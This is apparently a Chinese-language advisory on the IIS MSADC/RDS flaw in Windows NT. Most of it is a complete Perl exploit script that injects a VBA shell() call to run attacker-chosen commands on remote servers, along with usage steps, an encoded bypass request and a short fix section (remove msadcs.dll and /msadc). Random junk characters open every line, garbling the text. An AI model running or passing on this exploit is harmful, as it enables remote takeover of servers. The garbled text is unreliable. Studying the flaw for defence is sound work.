IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
v>N*f~n eKZS_Q d 涉及程序：
M^>l>?#rl Microsoft NT server
oK$Krrs0& #M5d,%?+#[ 描述：
t)rPXvx}! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
nH Rk2l| Mc!LC
.8 详细：
c27(en( 如果你没有时间读详细内容的话，就删除:
D5f[ : c:\Program Files\Common Files\System\Msadc\msadcs.dll
fNfa.0 s 有关的安全问题就没有了。
jzBW'8 t1yOAb I 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
i]k)wr( v(.m M9> 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
W )Y`8&, 关于利用ODBC远程漏洞的描述，请参看:
_p0Yhju? I P# vfM http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I i[U% oOI0q_bf 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
> VIFQ\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp |U{~t< BF# ~"`e9Im 这里不再论述。
ZOV,yuD{8{ Fh)xm* u( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
PA,aYg0f #`|Nm3b /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
JX 5/PCO 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^z)De+,!4 Fik ;hB &M?b 08 #将下面这段保存为txt文件，然后: "perl -x 文件名"
}9\6!GY0 "] ]LQb$ #!perl
C;JW \J~W #
#!O)-dyF # MSADC/RDS 'usage' (aka exploit) script
oz=ULPZ%
#
us|Hb # by rain.forest.puppy
d"-I^|[OM #
kK 4 a;j.# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
hizM}d-"C # beta test and find errors!
hIqU idJod u,8)M' UU use Socket; use Getopt::Std;
ZJ2
MbV.6 getopts("e:vd:h:XR", \%args);
tP! %(+V v4|TQ8!wR print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
|-S!)iG1V !zOj`lx if (!defined $args{h} && !defined $args{R}) {
&K'*67h print qq~
P<&bAsje Usage: msadc.pl -h <host> { -d <delay> -X -v }
y$-@|M$GG -h <host> = host you want to scan (ip or domain)
yD& Y`f# -d <seconds> = delay between calls, default 1 second
71[?AmxV -X = dump Index Server path table, if available
JGvhw,g -v = verbose
I v -e = external dictionary file for step 5
AzJ;E tR T_Tu>wQX Or a -R will resume a command session
r?[[.zm"7 dYD;Z<l ~; exit;}
zL+t&P[\ $ dI
mA $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
084Us
s if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8~Zw" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
1HNP@9ga if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3\P*"65 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*Lz'<=DLoW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
b3>zdS]Q 9b=0
4aWHm if (!defined $args{R}){ $ret = &has_msadc;
N5zWeFq@6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
w]qM
^ICSh8C print "Please type the NT commandline you want to run (cmd /c assumed):\n"
g9 ^\Q Yh! . "cmd /c ";
? Pi|`W $in=<STDIN>; chomp $in;
o S%(~])\ $command="cmd /c " . $in ;
,h1\PT9ULY U'F}k0h?\' if (defined $args{R}) {&load; exit;}
1QA/ ! 2 E I^f|U print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
EmO[-W|2 &try_btcustmr;
=TEe: %mN *V:U\G print "\nStep 2: Trying to make our own DSN...";
3t+{~{Dj &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6|q"lS*$S &D[M<7T print "\nStep 3: Trying known DSNs...";
fgL"\d} &known_dsn;
.?3ro Q q['D?)sy print "\nStep 4: Trying known .mdbs...";
_I; hM &known_mdb;
Ww 8U{f #FAW@ 6QG if (defined $args{e}){
U}X'RCM print "\nStep 5: Trying dictionary of DSN names...";
ejR$N!LL &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
-eK0 +beQ l]&A5tz3 print "Sorry Charley...maybe next time?\n";
T7mT:z>: exit;
ZMMx)}hS t* Ro2QZ ##############################################################################
cu?6\@cD vgtAJp+p* sub sendraw { # ripped and modded from whisker
5s^vC2$) sleep($delay); # it's a DoS on the server! At least on mine...
B0yGr\KJ my ($pstr)=@_;
1&e8vVN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S6 bYd` die("Socket problems\n");
7QRkXs if(connect(S,pack "SnA4x8",2,80,$target)){
Sg*+ ! select(S); $|=1;
n 0g8B print $pstr; my @in=<S>;
DhXV=Qw select(STDOUT); close(S);
h 27f0x9 return @in;
+QP(ATdM } else { die("Can't connect...\n"); }}
Zxh<pd25Y P=l 7m*m ##############################################################################
JJ9R,
8n6 v[V7$.%5Q sub make_header { # make the HTTP request
<!F".9c@ A my $msadc=<<EOT
~ BMUea( POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
wHh6y? g\ User-Agent: ACTIVEDATA
}{)Rnb@
> Host: $ip
w)&?9?~ Content-Length: $clen
A?h o<@^ Connection: Keep-Alive
o2[$X ONTl yh rjML2K ADCClientVersion:01.06
I51I(QF= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(I/ i D.A @WNqD *)1 --!ADM!ROX!YOUR!WORLD!
%+ /Dv Content-Type: application/x-varg
3aU5rbi|B Content-Length: $reqlen
o`G6! 0s7 9rJ EOT
_D$1C aAYo ; $msadc=~s/\n/\r\n/g;
m_.9 PZ return $msadc;}
5zh6l+S[ >@Pw{Zh$ ##############################################################################
_]-8gr-T R+z'6&/ =I sub make_req { # make the RDS request
xojt s;n
my ($switch, $p1, $p2)=@_;
m#[9F']Z` my $req=""; my $t1, $t2, $query, $dsn;
'#SZ|Rr6tX maeQ'Sv_& if ($switch==1){ # this is the btcustmr.mdb query
c Q'x]u_ $query="Select * from Customers where City=" . make_shell();
'n=bQ"bQu $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~!=Am:-wr $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/GX>L) | }UA=? Xl elsif ($switch==2){ # this is general make table query
9yaTD xB> $query="create table AZZ (B int, C varchar(10))";
EIfqRR TA $dsn="$p1";}
{~w( pAx -v-kFzu elsif ($switch==3){ # this is general exploit table query
d2d8,Vg $query="select * from AZZ where C=" . make_shell();
`wZ $dsn="$p1";}
#-PMREgO &iZt(XD elsif ($switch==4){ # attempt to hork file info from index server
)B+R|PZ, $query="select path from scope()";
Na@; F{ $dsn="Provider=MSIDXS;";}
}V*?~.R 7VG*Wu elsif ($switch==5){ # bad query
M$B b,s $query="select";
Wp+lI1 t $dsn="$p1";}
zyO=x 4U8 E_I-.o| $t1= make_unicode($query);
S=lCzL;j" $t2= make_unicode($dsn);
cvo+{u$s $req = "\x02\x00\x03\x00";
rsa_)iBC $req.= "\x08\x00" . pack ("S1", length($t1));
e$_gO wB $req.= "\x00\x00" . $t1 ;
60] VOQku $req.= "\x08\x00" . pack ("S1", length($t2));
ju3@F 8AI $req.= "\x00\x00" . $t2 ;
jSM`bE+" $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
q,<l3r In return $req;}
""
>Yw/' \y% "tJ~N{ ##############################################################################
bcjh3WP %rJD pB{ sub make_shell { # this makes the shell() statement
G6qZ>-GiL return "'|shell(\"$command\")|'";}
.P7q)lj36h &WL N ##############################################################################
jnbR}a=fJ B~k{f} sub make_unicode { # quick little function to convert to unicode
!/ tV}.* my ($in)=@_; my $out;
("PZ!z1m1 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
X@}7 # Vt return $out;}
0^Vw^]w 74:( -vS ##############################################################################
> yLDU_P) TTl9 xs,nO sub rdo_success { # checks for RDO return success (this is kludge)
}~=<7| N. my (@in) = @_; my $base=content_start(@in);
<9"@<[[, if($in[$base]=~/multipart\/mixed/){
p>\[[Md return 1 if( $in[$base+10]=~/^\x09\x00/ );}
37:tu7e~c return 0;}
H)E,([ N0}[&rE 8 ##############################################################################
=WI3#<vDG &&52ji<3 sub make_dsn { # this makes a DSN for us
t Dah@_ my @drives=("c","d","e","f");
==?%]ZE8 print "\nMaking DSN: ";
T+~&jC:{ foreach $drive (@drives) {
c(vi,U-hC print "$drive: ";
^ Ss << my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
1|-C(UW> "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[.Md_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
i
< gt`UCO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
/O$~)2^h return 0 if $2 eq "404"; # not found/doesn't exist
*oIIcE4g7 if($2 eq "200") {
.t>SbGC foreach $line (@results) {
9[*P`*& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tj0 0xYY } return 0;}
0Bp0ScE|FA %
q!i ##############################################################################
5xnEkg4q4 PBW_9& d sub verify_exists {
9 ;vES^ my ($page)=@_;
.Wp(@l'Hd my @results=sendraw("GET $page HTTP/1.0\n\n");
?P9VdS1- return $results[0];}
]
s 2ec /8 `9SS ##############################################################################
- -TH6j" ]Hi1^Y< sub try_btcustmr {
rVs CJuxI my @drives=("c","d","e","f");
pX>wMc+ my @dirs=("winnt","winnt35","winnt351","win","windows");
? N]bFW"t| o](O RS$~ foreach $dir (@dirs) {
rO#$SW$YW print "$dir -> "; # fun status so you can see progress
[a$1{[|) foreach $drive (@drives) {
`LIlR8&@aX print "$drive: "; # ditto
=? q&/
cru $reqlen=length( make_req(1,$drive,$dir) ) - 28;
:mCGY9d4L $reqlenlen=length( "$reqlen" );
>dF #1 $clen= 206 + $reqlenlen + $reqlen;
%Gu=Dkz GpO@1 C/ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
cw~G H if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
QJkiu8r else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
a04S&ezj i
^N }avO ##############################################################################
T} XJFV U'5p;j)_ sub odbc_error {
z=jzr=lP my (@in)=@_; my $base;
c(?O E'
"Z my $base = content_start(@in);
-ECnX/ " if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>/@Q7V99{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
G~*R6x2g $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
G8^b9xoA+. $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7A<}JaE!, return $in[$base+4].$in[$base+5].$in[$base+6];}
O,J,Q|` H& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ih:%U print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|? '
gT" # $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
p< @+0Uw2 u |$GOSD ##############################################################################
;lTgihW- =<= [E:B sub verbose {
o1] 1 I9 my ($in)=@_;
E*9W'e~= return if !$verbose;
o+< hI print STDOUT "\n$in\n";}
q> #P | ?0s&Kz4B ##############################################################################
;]/cCi uA%F0oM sub save {
tE=$# my ($p1, $p2, $p3, $p4)=@_;
Rg~[X5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
c /3]M>+M print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
wLQM]$O close OUT;}
*nUa0Zg4q6 .M\0+,%/ ##############################################################################
9' p
pb $:D hK sub load {
U:IeMf-; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-f(< 2i open(IN,"<rds.save") || die("Couldn't open rds.save\n");
jRjQDK_"ka @p=<IN>; close(IN);
ve=1y) $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
FC8=
ru $target= inet_aton($ip) || die("inet_aton problems");
q]*:RI?wGT print "Resuming to $ip ...";
n ZS*"O#L $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
=(5}0}j if($p[1]==1) {
h N:2(x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
j7Lw( A J $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
MWc {7, my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
*_yp]z" if (rdo_success(@results)){print "Success!\n";}
3+ %L[fW`/ else { print "failed\n"; verbose(odbc_error(@results));}}
VoUAFEcs elsif ($p[1]==3){
Wuji'sxTs if(run_query("$p[3]")){
v*e=oyx[ print "Success!\n";} else { print "failed\n"; }}
4\8k~ # elsif ($p[1]==4){
gB#$"mq, if(run_query($drvst . "$p[3]")){
d 4-cZw}+ print "Success!\n"; } else { print "failed\n"; }}
( KG>l TdN exit;}
*W<g%j-a r w dj ##############################################################################
o"A%dC _ ;0\ sub create_table {
=
P {]3K my ($in)=@_;
-U_<: $reqlen=length( make_req(2,$in,"") ) - 28;
T k>N4yq $reqlenlen=length( "$reqlen" );
^ )/oDyO $clen= 206 + $reqlenlen + $reqlen;
Rs%6O|u 7 my @results=sendraw(make_header() . make_req(2,$in,""));
mh `VZQ@ return 1 if rdo_success(@results);
V?Zvu9b& my $temp= odbc_error(@results); verbose($temp);
w-MnJ(r return 1 if $temp=~/Table 'AZZ' already exists/;
uU00ZPS*G[ return 0;}
=zW. ~(c{ BI6o@d;=4 ##############################################################################
$PNIuC?= Z$5@r2d) sub known_dsn {
<)(S To # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
/ZKO\q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
X\1'd,V "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
4E& 3{hnp "banner", "banners", "ads", "ADCDemo", "ADCTest");
8[;U|SR" cB7=4:U foreach $dSn (@dsns) {
} Pc6_# print ".";
"V c G3. next if (!is_access("DSN=$dSn"));
G l*C"V
if(create_table("DSN=$dSn")){
)f0t"lk print "$dSn successful\n";
%k3a34P@ if(run_query("DSN=$dSn")){
U(=cGA.$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
n2H2 G_-L[ print "Something's borked. Use verbose next time\n";}}} print "\n";}
ghiFI<)VY 8f | ##############################################################################
BY$%gIB6> 5X-cDY*| sub is_access {
|nj%G< my ($in)=@_;
*(x`cf;k $reqlen=length( make_req(5,$in,"") ) - 28;
kqA`d $reqlenlen=length( "$reqlen" );
X Jy]d/ $clen= 206 + $reqlenlen + $reqlen;
s ?5(E} my @results=sendraw(make_header() . make_req(5,$in,""));
MqI!i> my $temp= odbc_error(@results);
j=d@Ih* verbose($temp); return 1 if ($temp=~/Microsoft Access/);
R
'/Ilz` return 0;}
Rj% q)aw' O.*, e ##############################################################################
H 6*d#! f?_H02j`/E sub run_query {
X4Eq/q" my ($in)=@_;
*B`wQhB% $reqlen=length( make_req(3,$in,"") ) - 28;
hM(|d@) $reqlenlen=length( "$reqlen" );
1NT@}j~/ $clen= 206 + $reqlenlen + $reqlen;
(Y!@,rKd my @results=sendraw(make_header() . make_req(3,$in,""));
f|_iHY
return 1 if rdo_success(@results);
:NO'[iE my $temp= odbc_error(@results); verbose($temp);
nYMdYt04sl return 0;}
xq.,7#3 >t
O(S ##############################################################################
$q{-)=-BXQ QE$sXP7 &u sub known_mdb {
i}+K;,Da:8 my @drives=("c","d","e","f","g");
{v56 k8uZ my @dirs=("winnt","winnt35","winnt351","win","windows");
TgVvp0F; my $dir, $drive, $mdb;
O%y . my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'cT R<LVo a%sr*` # this is sparse, because I don't know of many
3j(GcR 9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
e&E""ye "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
SV}I+O_w "\\system32\\certmdb.mdb",
X61]N^y "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,Rk;*MEMJ soXeHjNl my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_CBG? "\\cfusion\\cfapps\\forums\\forums_.mdb",
TB4 |dj-% "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Id(L }i(X "\\cfusion\\cfapps\\security\\realm_.mdb",
5EIh5Y EU> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Uo<d]4p $ "\\cfusion\\database\\cfexamples.mdb",
, l#Ev{ "\\cfusion\\database\\cfsnippets.mdb",
1pVagLlb:7 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
-S
OP8G "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
<|~X,g;f "\\cfusion\\brighttiger\\database\\cleam.mdb",
YUat}-S "\\cfusion\\database\\smpolicy.mdb",
Tz]t.]!&E "\\cfusion\\database\cypress.mdb",
U|={LU "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
5vxJ|Hse@ "\\website\\cgi-win\\dbsample.mdb",
Mk7,:S "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
mTT1,| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
%vDN{%h8 ); #these are just
%:sQ [^0 foreach $drive (@drives) {
t{|
KL<d] foreach $dir (@dirs){
"m.j cKt foreach $mdb (@sysmdbs) {
U@!e&QPn print ".";
kqYWa`eE if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
De@GNN"- print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
KyK%2: if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
$+!/=8R) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
d:.S]OI0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
;"$Wfy j]#q q]c foreach $drive (@drives) {
@r^a/] 5D foreach $mdb (@mdbs) {
u+a"
'* print ".";
J wL}|o6 if(create_table($drv . $drive . $dir . $mdb)){
l M~ 3yB y print "\n" . $drive . $dir . $mdb . " successful\n";
Z1
%"w*U if(run_query($drv . $drive . $dir . $mdb)){
_8Cw_ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
;fw }<M!6 } else { print "Something's borked. Use verbose next time\n"; }}}}
ZgK[,<2 }
SK t&]H j\iE3:94$ ##############################################################################
@&p:J0hbp 1t
wC-rC sub hork_idx {
3DRJl, v print "\nAttempting to dump Index Server tables...\n";
Ybo:2e print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
tBC`(7E } $reqlen=length( make_req(4,"","") ) - 28;
{Z0(V"Q $reqlenlen=length( "$reqlen" );
!_C*2+f $clen= 206 + $reqlenlen + $reqlen;
;c p*] my @results=sendraw2(make_header() . make_req(4,"",""));
$`,10uw if (rdo_success(@results)){
jYDpJ##Zb my $max=@results; my $c; my %d;
$p:RnH\H1 for($c=19; $c<$max; $c++){
"159Q $results[$c]=~s/\x00//g;
L/\s~*:M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
n@|5PI"bx $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Od_xH $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
>-U'mkIH $d{"$1$2"}="";}
mq
0 d ea foreach $c (keys %d){ print "$c\n"; }
{Tx"G9 } else {print "Index server doesn't seem to be installed.\n"; }}
ac E2dl}S zp ##############################################################################
w5fVug/;P OlRtVp1 sub dsn_dict {
FQ Y{[QvF~ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
uCkXzb9_z while(<IN>){
s0r::y O $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
nv$>iJ^~H next if (!is_access("DSN=$dSn"));
%Q,6 sH# if(create_table("DSN=$dSn")){
tb$I8T print "$dSn successful\n";
3( &k4 if(run_query("DSN=$dSn")){
/bdL.Y# V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6%yt"XmT print "Something's borked. Use verbose next time\n";}}}
mIW8K
): print "\n"; close(IN);}
Q1kZ+b& Fnqj ^5 ##############################################################################
?D>%+rK8c l4Au{%j\ sub sendraw2 { # ripped and modded from whisker
3Z0ez?p+5 sleep($delay); # it's a DoS on the server! At least on mine...
-@7?N6~qZx my ($pstr)=@_;
?+)>JvWDz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>]{{5oOQ> die("Socket problems\n");
Z
FIy if(connect(S,pack "SnA4x8",2,80,$target)){
Ml,~@}
p print "Connected. Getting data";
!NqLBrcv 0 open(OUT,">raw.out"); my @in;
Jb/VITqN4 select(S); $|=1; print $pstr;
%-?k [DL6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
SfS Wjq close(OUT); select(STDOUT); close(S); return @in;
% Ev)Hk } else { die("Can't connect...\n"); }}
mzO5&h7 (N"9C+S} ##############################################################################
o[I
s$j JU Xo3D~ sub content_start { # this will take in the server headers
*""iXi[ my (@in)=@_; my $c;
xiv8q/ for ($c=1;$c<500;$c++) {
,_K y'B if($in[$c] =~/^\x0d\x0a/){
nt:ZO,C:R if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/+wC x#! else { return $c+1; }}}
U|
T} 0 return -1;} # it should never get here actually
ajCe&+ s Wyx_ ##############################################################################
'}l7=r c( _R
xLJ sub funky {
5X P oQ^ my (@in)=@_; my $error=odbc_error(@in);
g
es-nG- if($error=~/ADO could not find the specified provider/){
h[bC#( print "\nServer returned an ADO miscofiguration message\nAborting.\n";
#. <D q8u exit;}
!_q=r[D\ if($error=~/A Handler is required/){
QVF561Yz print "\nServer has custom handler filters (they most likely are patched)\n";
HCKoc L/]h exit;}
l Fp : F5 if($error=~/specified Handler has denied Access/){
<S^Hy&MD> print "\nServer has custom handler filters (they most likely are patched)\n";
U:AB%gr[ exit;}}
lSfPOx ;* Z*R~dHr ##############################################################################
}ssP%c] ]`q]\EH sub has_msadc {
1! j ^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
:IO"' b my $base=content_start(@results);
_Tf
%<E return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
B?db`/G9 return 0;}
)EK\3q HBNX a ########################
R2==<" gq
y1h3Ch>Y 3, 3n 解决方案：
@X2 zIF m 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
: sG/ 2、移除web 目录: /msadc
